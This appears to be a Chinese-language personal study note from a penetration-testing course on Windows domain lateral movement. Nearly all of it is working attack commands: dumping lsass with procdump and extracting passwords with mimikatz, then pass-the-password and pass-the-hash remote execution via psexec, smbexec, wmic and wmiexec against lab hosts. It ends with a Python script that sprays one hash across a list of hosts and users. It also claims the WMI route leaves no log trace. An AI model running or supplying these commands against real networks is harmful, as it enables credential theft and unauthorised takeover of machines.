赞
踩
!–看小迪老师课程自己做的笔记
procdump -accepteula -ma lsass.exe lsass.dmp
转储成功
mimikatz上执行命令(可以将lsass.dmp文件搞出来在其他地方运行mimikatz,解决mimikatz执行权限问题):
privilege::debug //提权
sekurlsa::minidump lsass.dmp //注意lsass.exe必须与mimikatz.exe同目录
sekurlsa::logonPasswords full
官方提供的psexec不提供hash传递
利用SMB服务可以通过明文密码传递来远程执行,条件必须打开445端口
1、使用psexec,现有ipc连接,psexec需要明文传递
#建立ipc$连接
net use \\192.168.139.131\ipc$ "ghy.admin123" /user:ghy\administrator
#psexec明文传递
paexec \\192.168.139.131 -s cmd //-s是以system权限运行
2、使用psexec,无ipc连接,明文传递
#不用先ipc连接,直接使用psexec
psexec \\192.168.139.131 -u ghy\administrator -p ghy.admin123 -s cmd
1、使用psexec,无ipc连接,明文及hash传递
明文传递:
注意:这里必须是/,非官方自带psexec必须是斜杠。
psexec.exe ghy/administrator:ghy.admin123@192.168.139.131
hash值传递:
psexec -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131
注意:这里必须是/,非官方自带psexec必须是斜杠。
2、使用smbexec,明文及hash值传递
明文传递:
smbexec.exe ghy/administrator:ghy.admin123@192.168.139.131
hash传递:
smbexec.exe -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131
wmi是通过135端口进行利用,支持明文和hash值的方式进行认证,并且该方法不会在目标日志系统留下痕迹
1、官方自带明文传递,wmi无回显,cscript有回显
自带wmi明文传递,无回显
wmic /node:192.168.139.131 /user:ghy\administrator /password:ghy.admin123 process call create "cmd.exe /c ipconfig > c:\1.txt"
自带cscript明文传递,有回显
cscript //nologo wmiexec.vps /shell 192.168.139.131 ghy\administrator ghy.admin123
2、非官方套件,明文及hash传递,有回显
明文传递:
wmiexec.exe ghy/administrator:ghy.admin123@192.168.139.131 "ipconfig"
hash传递:
wmiexec.exe -hashes :d4a1605da045ea9ea9873e349dabbbfe ghy/administrator@192.168.139.131 "ipconfig"
五、域横向移动以上服务hash批量利用python编译为exe
# pyinstaller.exe -F fuck_neiwang.py
import os, time
ips = {
'192.168.139.131',
'192.168.139.128'
}
users = {
'administrator',
'ghy',
'ghy/administrator',
'ghy/websec'
}
hashes = {
'd4a1605da045ea9ea9873e349dabbbfe',
}
for ip in ips:
for user in users:
for passwordhash in hashes:
# wmiexec.exe -hashes :hash user@ip "whoami"
exec = "wmiexec.exe -hashes :" + passwordhash + " " + user + "@" + ip + " whoami"
print('-->' + exec + '<--')
os.system(exec)
time.sleep(0.5)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。